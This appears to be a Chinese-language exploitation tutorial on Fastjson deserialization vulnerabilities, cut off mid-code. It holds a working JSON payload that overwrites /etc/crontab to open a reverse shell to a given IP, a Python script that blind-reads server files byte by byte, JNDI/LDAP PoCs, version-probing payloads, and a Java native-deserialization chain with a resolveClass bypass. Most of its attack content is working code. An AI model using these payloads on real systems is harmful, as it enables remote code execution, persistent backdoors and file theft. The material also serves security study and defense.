* * * * * root bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \n
#aaaaaaaaaa……

payload:

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""* * * * * root bash -c 'bash -i >& /dev/tcp/10.30.2.210/9999 0>&1' 
#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/etc/crontab",
        "encoding":"UTF-8",
        "append": false
      },
      "charset":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

读文件

需要能够支持 Fastjson 回显,利用 bool 报错按字节读取。文件读取的地方使用的 file 协议,在 Java 下 file 协议也可以用来探测目录(也可使用 netdict 协议)

{
    "abc": {
		"@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///etc/passwd"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [
            {
                "charsetName": "UTF-8",
                "bytes": [
                    114
                ]
            }
        ]
    },
    "address": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
            "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
            "start": 0,
            "end": 0
        }
    }
}

exp:

import requests
import json

url = "http://10.30.0.248:8080/login"

#码表可按照实际修改,例如探测jdk目录一般文件名为小写,但也有一些特殊情况
#asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且全为小写 
asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且包含大小写 
# asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126] #所有可见字符


data1 = """
{
    "abc": {
		"@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///usr/local/tomcat/apache-tomcat-8.5.95/webapps/ROOT"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [
            {
                "charsetName": "UTF-8",
                "bytes": [
"""  

data2 = """
                ]
            }
        ]
    },
    "address": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
            "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
            "start": 0,
            "end": 0
        }
    }
}
"""
proxies = {
    'http': '127.0.0.1:8080',
}

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
    "Content-Type": "application/json; charset=utf-8"
}

def byte2str(bytes):
    file_str = ""
    for i in file_byte:
        file_str += chr(int(i))
    print("【" + file_str + "】")

file_byte = []
for i in range(0,30):  # 需要读取多长自己定义,但一次性不要太长,建议分多次读取
    for i in asciis:
        file_byte.append(str(i))
        req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
        text = req.text
        
        if "charSequence" not in text:
            file_byte.pop()
    byte2str(file_byte) 
print(file_byte)        

其他 poc

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

1.2.69 的修复

对过滤的 expectClass 进行了修改,黑名单添加了 java.lang.Runnable,java.lang.Readable 和java.lang.AutoCloseable


1.2.80

https://www.freebuf.com/vuls/354868.html

groovy

利用 Throwable

CVE-2022-25845

https://github.com/luelueking/CVE-2022-25845-In-Spring


版本探测

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

https://github.com/safe6Sec/Fastjson

判断 json 类型

fastjson or jackson

回显详细报错信息:直接破坏 json 结构触发报错即可判断

不回显详细报错信息:jackson 不允许存在不相关的键值,fastjson 允许

完全不回显:dnslog 或者时间延迟

1.2.24-1.2.83 都会有的 dnslog payload:

{"zero":{"@type":"java.net.Inet4Address","val":"dnslog.com"}}

判断版本号/区间

有报错信息:

{"@type":"java.lang.AutoCloseable"
a
["test":1]

无报错信息:

先看一下 fastjson 的可利用版本:

  • <1.2.24,没有任何限制。
  • 1.2.24-1.2.47,java.lang.class 绕过。
  • 1.2.48-1.2.68,java.lang.autoCloseable 绕过。
  • 1.2.70-1.2.72,无链版本
  • 1.2.73-1.2.80,java.lang.exception 绕过。
  • 1.2.83,无漏洞版本

部分不相关的键值有的版本报错,有的版本不报错,可以通过往原有 json 中插入 payload 的方式来验证:

Payload 报错版本 不报错版本
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}} 1.2.25-1.2.80 1.2.83/1.2.24
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}} 1.2.70-1.2.83 1.2.24-1.2.68
{"a":{"@type":"java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl"}} 1.2.48-1.2.83 1.2.24-1.2.47
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}} 1.2.25-1.2.83 1.2.24

包环境探测

  • org.springframework.web.bind.annotation.RequestMapping
  • org.apache.catalina.startup.Tomcat
  • groovy.lang.GroovyShell
  • com.mysql.jdbc.Driver
  • java.net.http.HttpClient

等等

如果系统存在这个类,会返回一个类实例,如果不存在会返回 null

通过使用 Character 将报错回显在 message 中:

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.apache.commons.io.Charsets"
}}

FastJson 原生反序列化

上面的内容都是基于解析 json 进行类方法实例化,不像之前 cc 链一样是通过继承 serialzable 接口,反序列化调用 readObject 方法来进行的

接下来分析在 fastjson 的环境下利用原生反序列化

toString链

此链 jdk 原生可用

类查找

既然是原生反序列化,我们就要在 FastJson 包里面找到继承 Serializable 接口的类,在 fastjson 包里搜索调用了 Serializable 的类

最后找到这两个类:JSONObjectJSONArray

image-20250216164908739

image-20250216164841277

以 JSONArray 类为例寻找利用,先去找入口点 readObject 方法

但是却发现 JSONArray 中并不存在 readObject 方法,并且它 extends 对应的 JSON 类也没有 readObject 方法,所以这里我们只有通过其他类的 readObject 方法来触发 JSONArray 或者 JSON 的某个方法来实现调用链

FastJson<=1.2.48

在 cc5 的时候,我们知道 BadAttributeValueExpException.readObject 可以调用 toString

fastjson 最经典的部分是自动触发 getter 来 getProperties 加载字节码,如何触发 getter 可以通过 JSON.parse 触发,也可以通过toJSONString 触发,而 JSON 这个类的 tostring 就是 toJSONString

image-20250213132035541

那么思路就是用 BadAttributeValueExpException 触发 toJSONString,然后再触发 TemplatesImpl 的 getOutputProperties 方法实现加载任意字节码最终触发恶意方法调用

poc 前半段套 Templates 链,中间加个 JSONArray 对象,后面用 cc5 同款 BadAttributeValueExpException

即链子如下:

BadAttributeValueExpException#readObject -> JSON#toString -> JSON#toJSONString -> JSONSerializer#write -> ListSerializer#write -> getter(此处为TemplatesImpl#getOutputProperties)

exp:

package com.example;

import com.alibaba.fastjson.JSONArray;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;

public class ToStringChain {
    public static void main(String[] args) throws Exception {
        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_bytecodes", new byte[][] {code});
        Utils.SetValue(obj, "_name", "0w0");
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(obj);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Utils.SetValue(badAttributeValueExpException, "val", jsonArray);

        String barr = Utils.Serialize(badAttributeValueExpException);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

image-20250216213349481


FastJson>1.2.48

从1.2.49开始,JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法

image-20250216214236192

这里用了 SecureObjectInputStream,跟一下

image-20250216214350884

SecureObjectInputStream 类当中重写了 resolveClass,通过调用了 checkAutoType 方法做类的检查

乍一看用 resolveClass 防住了,但是观察反序列化的过程会发现它是在不安全的 ObjectInputStream 基础上套了个安全的 SecureObjectInputStream:

ObjectInputStream -> readObject -> ... -> SecureObjectInputStream -> readObject -> resolveClass

正确的做法应该是生成一个继承 ObjectInputStream 的类并重写 resolveClass (假定为 TestInputStream),由它来做反序列化的入口,这样才是安全的,具体可以看一下 ctf 里常有的 resolveClass waf:

TestInputStream -> readObject -> resolveClass

那么我们需要去找一下什么情况下不会调用 resolveClass

绕过 resolveClass

跟踪一下 ObjectInputStream 中关于 resolveClass 的调用

image-20250216220159299

向上跟踪

image-20250216220507822

继续跟踪 readClassDesc,来到 readObject0,而 readObject 首先就是调用 readObject0(false),unshared 的值即为 false

try {
    switch (tc) {
        case TC_NULL:
            return readNull();

        case TC_REFERENCE:
            return readHandle(unshared);

        case TC_CLASS:
            return readClass(unshared);

        case TC_CLASSDESC:
        case TC_PROXYCLASSDESC:
            return readClassDesc(unshared);

        case TC_STRING:
        case TC_LONGSTRING:
            return checkResolve(readString(unshared));

        case TC_ARRAY:
            return checkResolve(readArray(unshared));

        case TC_ENUM:
            return checkResolve(readEnum(unshared));

        case TC_OBJECT:
            return checkResolve(readOrdinaryObject(unshared));

        case TC_EXCEPTION:
            IOException ex = readFatalException();
            throw new WriteAbortedException("writing aborted", ex);

        case TC_BLOCKDATA:
        case TC_BLOCKDATALONG:
            if (oldMode) {
                bin.setBlockDataMode(true);
                bin.peek();             // force header read
                throw new OptionalDataException(
                    bin.currentBlockRemaining());
            } else {
                throw new StreamCorruptedException(
                    "unexpected block data");
            }

        case TC_ENDBLOCKDATA:
            if (oldMode) {
                throw new OptionalDataException(true);
            } else {
                throw new StreamCorruptedException(
                    "unexpected end of block data");
            }

        default:
            throw new StreamCorruptedException(
                String.format("invalid type code: %02X", tc));
    }
}

仔细跟踪的话会发现这里不同 case 中的大部分类最终都会调用 readClassDesc 去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是 TC_CLASSDESC 那么就会在 readNonProxyDesc 中触发 resolveClass

那么我们可选的只有不会调用 readClassDesc 的分支:TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION

其中 null、string、exception 对我们毫无用处,只剩下 reference 引用类型


现在我们就要思考,如何在 JSONArray/JSONObject 对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过 resolveClass 的检查

向List、set、map类型中添加同样对象时即可成功利用,当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射,当再次写入同一对象时,在handles这个hash表中查到了映射,那么就会通过writeHandle将重复对象以引用类型写入

以 List 为例:

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

于是就可以以这个思路构建payload了:

这里以 HashMap 为例

package com.example;

import com.alibaba.fastjson.JSONArray;
import com.example.Utils;
